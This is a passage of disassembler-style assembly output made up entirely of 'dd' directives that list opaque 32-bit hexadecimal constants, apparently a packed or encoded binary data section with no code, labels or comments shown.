		dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
		dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
		dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
		dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
		dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
		dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
		dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
		dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh,	88CF815Ch
		dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
		dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h,	58FC00F2h
		dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
		dd 96351EC9h, 973E803Ch
		dd 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h,	0AF7462D8h
		dd 9B74E04h, 27B0D044h,	0F9E4E5h, 5F1DFF4Ch, 8952640Eh
		dd 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h, 428336E0h
		dd 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h
		dd 610FAAC9h, 0F9BDE8h,	0FCF4BC34h, 38390008h, 3B2D3A12h
		dd 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h
		dd 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch
		dd 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h
		dd 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh
		dd 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh,	0C02CEA3Bh
		dd 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h
		dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh
		dd 996E80CCh, 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h
		dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h,	133F0AC2h
		dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h
		dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh,	760EC359h
		dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h
		dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh
		dd 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h,	0C314034Fh
		dd 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah
		dd 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh
		dd 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh,	0D9F641C1h
		dd 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h, 2E0591B0h
		dd 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah,	84321E36h
		dd 0F840563Bh, 22824Ch,	4F2A7063h, 8EF60F7Ch, 98CF39h
		dd 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h,	0B3329201h
		dd 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h
		dd 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h,	0C69049B2h
		dd 924D7F9h, 859FEDD6h,	5AFE9170h, 8056B03Ah, 0F8A6F490h
		dd 9A94ABh, 0AAA0D813h,	773A394Eh, 3E1E59F0h, 4C0EC49h
		dd 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h
		dd 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh
		dd 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h,	84629F96h
		dd 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh
		dd 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h,	4A384929h
		dd 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h
		dd 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh
		dd 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h
		dd 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h
		dd 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh
		dd 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh
		dd 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h,	4EC05881h
		dd 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh,	0E4000982h
		dd 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h
		dd 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h,	1000D9BDh
		dd 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h
		dd 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h
		dd 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h
		dd 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh,	0C08CF872h
		dd 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h
		dd 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h
		dd 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh,	3D613C4Dh
		dd 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch
		dd 9302F624h, 8600C218h, 0C0E48457h, 9085E808h,	4E5D2C33h
		dd 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh
		dd 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh
		dd 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h
		dd 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh
		dd 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h
		dd 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h
		dd 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h
		dd 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh
		dd 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h
		dd 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h
		dd 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h,	0E1ECB1E8h
		dd 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h,	9EA81D60h
		dd 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h
		dd 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h
		dd 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h
		dd 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h
		dd 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h
		dd 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah
		dd 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh
		dd 3D030013h, 260F097h,	7D003E2Fh, 3F217081h, 4386C29h
		dd 4C26453Bh, 500ABAEh,	0C811E088h, 39EA015Ch, 2D663A2Fh
		dd 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h
		dd 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch
		dd 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh
		dd 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch,	0DC4B7B7Ch
		dd 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h
		dd 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h
		dd 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h,	0CC4C68D6h
		dd 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h,	0EF8020E9h
		dd 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h
		dd 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h,	3A49D93Eh
		dd 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h
		dd 0DAC954h, 50859DD3h,	15CAE0DDh, 2931260Fh, 92626088h
		dd 0AE8276h, 2C7C7E9Eh,	3249017Ah, 4D334200h, 0EC3C80C9h
		dd 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h
		dd 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h,	169E5E1Dh
		dd 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h,	69385C12h
		dd 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h
		dd 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h,	0C968660Fh
		dd 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h,	0E6724009h
		dd 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh
		dd 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h,	0AB0C1C0Bh
		dd 0D3E640h, 58C98D5Eh,	880E3C20h, 0A00965E4h, 0E3603E41h
		dd 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h
		dd 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h,	0D812EE0Bh
		dd 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h
		dd 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h
		dd 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h
		dd 1C003E57h
		dd 93713F46h, 0B4E179h,	0F4B12260h, 0FCC7F8BCh,	58DDFF4Ch
		dd 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h, 2E08BC1Ah
		dd 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h, 8F704983h
		dd 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h
		dd 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh,	4E32D847h
		dd 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h,	4A1670F2h
		dd 96B41F07h, 893C2F6h,	22929063h, 0B29D0043h, 7CD07054h
		dd 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h,	499E00D2h
		dd 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h, 0D9B88F3Dh
		dd 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h
		dd 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h
		dd 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h,	311C04B6h
		dd 3C74B8BCh, 4F81613Dh, 0FC5BE434h, 608E6163h,	0B7E2B0A5h
		dd 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h,	5804F32Dh
		dd 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh,	7E8A3C70h
		dd 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h,	15F09ECDh
		dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h
		dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh
		dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h,	1C014F0h
		dd 0EE300BA3h, 3A7C32h,	0F916640Ch, 2F34B8FDh, 0C6610500h
		dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh,	2E7353Fh
		dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h,	611FFA94h
		dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah
		dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h,	0ACFA4A00h
		dd 12B0D4h, 0BC684FB4h,	7678C0CBh, 75C85B3Bh, 50F08B00h
		dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h,	48204A1Ch
		dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h,	3E70DE4Ah
		dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h
		dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h
		dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h
		dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h
		dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h
		dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h,	0C93CCCh
		dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h,	84C880F9h
		dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h
		dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h,	3C100905h
		dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h,	44AE568Ch
		dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h
		dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh
		dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h,	20704832h
		dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h,	96F441BFh
		dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h
		dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h
		dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h
		dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h
		dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h
		dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h
		dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh
		dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh,	0E80FC76h
		dd 8490438h, 4A48EE58h,	18F00073h, 0F4561CE2h, 147B01Fh
		dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
		dd 4B854E4h, 602F5C3Fh,	15A00E03h, 85B6AB01h, 3FF013Bh
		dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh,	4D02E00Ah
		dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h,	89AD30D8h
		dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
		dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
		dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
		dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h,	0E853C70Ch
		dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h,	0A3807623h
		dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
		dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
		dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
		dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
		dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
		dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh,	9D0309C5h
		dd 51A0BB05h, 2F29A03h,	6EBD8880h, 12D0070h, 85FE4C75h
		dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
		dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h,	56000BDBh
		dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
		dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
		dd 36104837h, 0F90CC1h,	8DA5F302h, 3C0377E1h, 535EA400h
		dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
		dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h,	79D89DD0h
		dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
		dd 834E548Bh, 0D17308h,	0ADCA7DACh, 0C107EF66h,	910CEB00h
		dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h,	0E3001481h
		dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h,	8DBD462Dh
		dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h,	40C0850Ch
		dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
		dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
		dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
		dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
		dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h,	2A25A66Fh
		dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h,	4939012Ah
		dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h,	140200E2h
		dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
		dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
		dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah,	0FEEBF0C1h
		dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h,	61022F11h
		dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
		dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
		dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h,	306A5F10h
		dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
		dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h,	0AB10D4h
		dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h,	0E49B00F2h
		dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh,	31EEE4h
		dd 13B5A1Fh, 3733888Ah,	0EF60DA00h, 0BB86BC39h,	0E2EE006Fh
		dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
		dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h,	17607C0Eh
		dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
		dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
		dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
		dd 6D009579h, 57B9D5E4h
		dd 38DEA83h, 82B7CD0Fh,	7C00DBCh, 0B103FD41h, 87A3972Ah
		dd 8ACFE029h, 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh
		dd 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh
		dd 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h, 0D548E5FAh
		dd 56CB05FDh, 0C3BB4CF1h, 800A1DBh, 0A575C410h,	8CDBEh
		dd 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h,	3F8F1CA0h
		dd 4698003Dh, 0DB31A266h, 50030A8Eh, 5DA8D0F7h,	59C6D05Ch
		dd 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h
		dd 0A2023h, 0B0FCEC59h,	5C33F086h, 0D79BE600h, 0ABE21B42h
		dd 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h,	2FA2EC0Eh
		dd 31472075h, 0D55E0Fh,	0B39E8D01h, 0C78E62D4h,	5A1DCD00h
		dd 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h
		dd 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h, 0B400A860h, 768BC7DFh
		dd 7DB91A0h, 179A270Ah,	487F006Bh, 0EA038997h, 633644D0h
		dd 1504E083h, 18CECDFh,	35586176h, 0C46F24BFh, 0E63B5599h
		dd 0EC2B0019h, 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h
		dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh
		dd 737938h, 50D74341h, 6EC21Dh,	69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch,	62574738h, 33B5B6E9h, 61B30800h
		dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
		dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
		dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
		dd 53458EC0h, 4072200h,	0EC5FD244h, 0D3C80020h,	0A96D7C14h
		dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
		dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
		dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h,	15850056h
		dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
		dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h,	9207A7B1h
		dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
		dd 0A8C26Dh, 6878AC54h,	0F73128F3h, 0B033C500h,	9B35B6B1h
		dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
		dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
		dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h,	500BEF73h
		dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
		dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
		dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
		dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
		dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
		dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h,	0E21CB602h
		dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
		dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
		dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
		dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
		dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
		dd 6206E52h, 98707B9Eh,	50657AE5h, 6F643E70h, 375FB875h
		dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
		dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh,	2E63C66Dh
		dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh,	1E2BA2A3h
		dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
		dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
		dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h,	0EA00DF96h
		dd 10060h, 43E10000h, 0C6AF0000h, 8CD4505Bh, 1505C2E1h
		dd 0CD794971h, 6397E919h, 0BF766188h, 0FCB46086h, 36A819DCh
		dd 0ACD337B2h, 0C3F8ED83h, 7EC2CB78h, 0DF39D269h, 495E1AADh
		dd 6FEE8560h, 0AD1476DEh, 51BF6116h, 92795193h,	7ADCA6E2h
		dd 0F9FEA068h, 530497A7h, 0A6985A0Bh, 38708DFDh, 0E39EBAEh
		dd 0B6D9638Ah, 5DE59DE9h, 961D677h, 0C36CCCDAh,	926919F7h
		dd 698B80B0h, 6C09F460h, 4BA96A14h, 95A1E77Ch, 92128B1Fh
		dd 0E682DEE3h, 4AFC228Ah, 43D0B450h, 610306DDh,	4897ECFDh
		dd 8E29B975h, 143041A2h, 0CDACCA73h, 21CB3C8Fh,	542A19F0h
		dd 0FBD85795h, 0A3222DB2h, 81370B2Ch, 71539F4Ch, 0FD97F983h
		dd 873B48A4h, 234BA044h, 0B158C517h, 0D11DFD94h, 58600D3h
		dd 4D5B935Bh, 0E49B86BCh, 877EEC8Fh, 0BFFD4AFBh, 9C99365Eh
		dd 0E9BA47E1h, 65ED50CAh, 4F634A27h, 0AD37C264h, 0A27AA8D8h
		dd 9970526Eh, 211E7108h, 0D3B202DCh, 1BF331A2h,	14299B0Ah
		dd 818FA23Dh, 0D3F28C2Ah, 0ED6EB924h, 0F2AF109Dh, 7EA10EFEh
		dd 0AD4ABB73h, 35F0A1C8h, 94896E51h, 0F7241F99h, 0A8D415FBh
		dd 0D310136Ah, 77E7539Eh, 0CF6E505Dh, 0FABCF30Fh, 0B3884C5Bh
		dd 3A1F32DDh, 78D1B26Fh, 0B783AE10h, 8B6E0BB9h,	0FA6F728Fh
		dd 426B95C4h, 0D3CB1202h, 0F42BF170h, 3054D415h, 0ADE256E6h
		dd 0E8ABE1C2h, 72207691h, 0B881F19Bh, 0DBB8230Fh, 0AFC23B97h
		dd 7B012EF6h, 0B9F8FD01h, 8F3002DAh, 0CDBFA214h, 0ACE35F52h
		dd 0DA0CEC19h, 0B0A66D64h, 0DB94F6D3h, 501084F2h, 8785C33Eh
		dd 3D7B4CE8h, 66A78CDh,	1F053C1Fh, 486B46A2h, 79809BB7h
		dd 38F85BA2h, 2491C9CDh, 5DDD115Ah, 0A28F2D9Fh,	5ECFF5CDh
		dd 7E6FA1DBh, 66740F36h, 0D3A9F5Ah, 73DE6E7h, 607A8FFFh
		dd 0F9189578h, 718138CDh, 9C94FA0h, 4CFE0C3Eh, 673AFE63h
		dd 87F2A8A4h, 5DC45DBDh, 0D676E698h, 0F8825D66h, 8E1FED01h
		dd 0E15BDBABh, 4CEEE9A9h, 8282899Dh, 4FEC63DBh,	48A84B59h
		dd 7C218623h, 87CEE524h, 6F52DC25h, 0F108A5CAh,	0DB5D1A8Eh
		dd 6AF9A583h, 0F21DC58Dh, 1AF2640Dh, 89969B7h, 6F46949Eh
		dd 9A83C8FDh, 0FA4C8AEh, 7F468A98h, 3B81AE65h, 489A9525h
		dd 0C111B845h, 946357D8h, 0B8D49600h, 2369DCECh, 0D4DD3B90h
		dd 915B76E8h, 0D7D84AACh, 62DF507Ah, 560CAB14h,	1780BE79h
		dd 38C616F2h, 0A1AE9D58h, 9603A453h, 0C7353BC3h, 4684FAB2h
		dd 0CBA8455Fh, 67E1A5Ch, 0A18E059Eh, 0C733ED92h, 84B2A698h
		dd 0AD79421Eh, 6C50944Fh, 0F49134CFh, 4CC84195h, 9F204EF0h
		dd 26044A54h, 4C50EC10h, 452AC1B9h, 30FE0A8Eh, 0F03190C1h
		dd 0ADE4D4D6h, 118543F3h, 0A324D586h, 6FD33B98h, 84F08FC6h
		dd 0AF1A197Ah, 0EE0AD61h, 3F888551h, 0FFB65BFAh, 0E0BB69D3h
		dd 6E47989Eh, 0CFD0D142h, 4A024468h, 0B381A04Eh, 150856B2h
		dd 3A53B6B2h, 1F86EF7Dh, 4A3DDFEFh, 412B4163h, 5A47ECF8h
		dd 72B26E92h, 0C99D128Ch, 0CC2ABE0Bh, 4185B904h, 863B22C6h
		dd 0C5D287Dh, 7365C3D2h, 8C8FF99Dh, 0CFAE1A2Dh,	919E4937h
		dd 6DC0678Fh, 27BF5B4Dh, 0CC9A2FDBh, 7E5D8AA4h,	53DB07DFh
		dd 50B5343Dh, 5870E709h, 8B4B4135h, 0E3B44CAh, 79CA6924h
